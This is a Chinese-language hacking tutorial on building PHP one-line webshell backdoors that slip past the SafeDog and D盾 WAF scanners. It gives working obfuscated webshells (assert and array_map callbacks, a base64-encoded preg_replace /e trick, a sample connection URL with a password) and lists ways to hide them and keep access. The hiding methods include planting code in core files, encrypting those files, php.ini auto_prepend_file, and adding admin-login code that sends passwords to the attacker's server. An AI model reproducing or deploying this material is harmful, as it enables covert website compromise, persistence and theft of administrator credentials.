PHP一句話後門過狗姿勢萬千之後門構造與隱藏
第二章節主要帶給大家一些後門構造思路,與安全狗檔案特徵檢測的機制。
另外強調一下,這篇文章需要大家對於php有一定的認識。
本章節分為三大部分,第一部分針對初級,分析菜刀php程式碼的執行過程,較基礎;第二部分主要總結一些可以利用的後門姿勢,這部分我主要給大家分享一些蒐集的後門,希望可以拓展大家的思路;第三部分主要分享後門隱藏之道。
宣告:在後門舉例中大部分後門構造與思路,可能網上都有類似的,如有雷同,來打我呀!
目前主流的waf軟體(如安全狗)一般對於後門檔案有主動查殺與被動查殺,主動好理解,被動主要就在於你訪問該檔案的時候,對該檔案就行查殺,比如連結菜刀的時候。
因為安全狗對後門的查殺其實就是對程式碼的一個預編譯,去除註釋等無用程式碼,遇到if,直接檢查if內部內容。
安全狗獲取其他各種waf有什麼樣的特徵庫,我們並不能全部知曉,我們能做的只有一點點嘗試,WAF永遠在更新,黑闊門永遠在換套路,幾乎沒有一勞永逸的後門。
說明:如果想更好的過狗,那麼php是必須要會的,為了儘量照顧到不會php的同學,本文分享一些猥瑣思路彌補一下。
先來一個最簡單的過狗後門
下面分享的幾個一句話都是可以直接過狗的,雖然很簡單,但此之前,我們來遛一遛狗。
<?php $_GET[a]($_GET[b]);?>
這句話已經可以執行一切命令了,但是必然被殺,
我們可以用extract函式簡單的處理下請求的資料
當然,想要完美過狗,執行更多命令,還需要資料層加工,詳情參考第三章。
經典的回撥函式
很多時候並不是給變數多一層加密就安全,其實很多waf對base64_decode相當敏感。
例如:
@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
原理分析:xx引數直接傳入一個assert函式,sofia引數傳入assert(eval('執行程式碼'))。
直接暴出array_map後門,試試去掉base64?
沒錯,就這麼簡單,最危險的地方就是最安全的地方,起碼檔案特徵安全狗確實沒有檢測出來。
然而這個一句話D盾是四級的,因為稍微懂點的人都能看出來是個後門。
但是距離實際意義上的過狗還是遠遠不夠的,還需要資料層加工,詳情參考第三章。之後你會發現,就這個一句話修改下post資料,可以完整過狗。
不賣關子:
@array_map(assert,(array)base64_decode($_REQUEST['sofia']));
連線方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密碼 :vuln
再來一個回撥後門
<? $Base = "base6"."4"."_decod"."e"; $_clasc = $Base($_REQUEST['vuln']); $arr = array($Base($_POST['sofia']) => '|.*|e',); @array_walk($arr, $_clasc, ''); ?> 這是我之前修改過的一個版本,這裡用的其實還是preg_replace後門,也是通過回撥函式來實現執行,同樣可以過:
詳解: 帶入引數:
vuln=cHJlZ19yZXBsYWNl(preg_replace)
sofia=cGhwaW5mbygp(phpinfo())
<? $Base = "base6"."4"."_decod"."e"; $_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace $arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e') @array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'') ?>
網上有很多現成的回撥函式或者其他方式來過特徵檢測,再這裡就不重複造輪子了。
程式碼隱藏
許可權維持也是滲透中重要的環節,隱藏的不到位第二天就掉許可權,猥瑣的後門能一輩子跟隨。
方法一:遠端讀取或者include檔案
這個方法比較常見,如:
<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}
但是就個人而言,我一眼看上就覺得有鬼,哪個正常程式會鬼畜到包含一個日誌檔案或者圖片,當然也要根據場景來定。
方法二:
將程式碼放到核心函式檔案中,做好檔案時間修改,只要查殺不出來,一般站長也不會去動核心檔案,也是具有一定隱蔽性的,
方法二:建立類或者函式,分離後門程式碼
這樣的話基本上很難查殺了,比如再global_function.php類的檔案中建立一個類,或者函式,在所呼叫這個核心函式的相關檔案中例項化一個類,呼叫函式,那麼也是妥妥執行的。
如:把class放到核心類檔案中,在相關的呼叫檔案中放入執行程式碼,隱蔽性會加強很多。
<?php
class Parse_Args {
public function apply_filters($key) {
assert($key);
}
}
//執行程式碼
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);
?>
方法四:直接加密程式碼
直接將後門檔案加密,
其實這就只是eval($_POST[x])加密後的結果,還需要構造什麼?但是在滲透過程中可用性並不是很高,很多時候要寫入後門程式碼,這根本沒法寫的,只能作為一種維持手段。
方法五:建立手工後門
php不僅可以獲取get,post資料還是可以獲取server資料的,如user-agent,referrer,cookie,client ip,所以我們完全可以在這些引數中加入需要執行的程式碼,但需要注意的是有的引數日誌中會記錄,這裡僅提供思路,大家根據實際情況取發揮。
方法五:間接維持後臺許可權,
可以直接在後臺登陸頁所include的核心函式中加入獲取使用者名稱密碼的程式碼,如直接生成到本地伺服器的一個txt中(可以加密下),記住這個隱蔽的url,時不時就會有密碼記錄,或者遠端post密碼到自己的伺服器上。
可以在後臺頁面中插入一個xss,這種效率相對較低,但是也是一種思路。
方法六:來硬的
這種方法只能針對中小站長,找到一個網站的核心但是又不常用的檔案,比如lang檔案等等,將自己後門加入,然後將整個檔案加密,再替換原始檔,功能一切正常,站長對這類檔案不會起太大疑心。
這個思路也可以結合方法三。
方法七:php.ini後門
修改php.ini配置來達到每個頁面都執行某個後門,每個php都是後門,比如可以配置auto_prepend_file,自動載入某個檔案,這部分後期抽時間再單獨寫出來。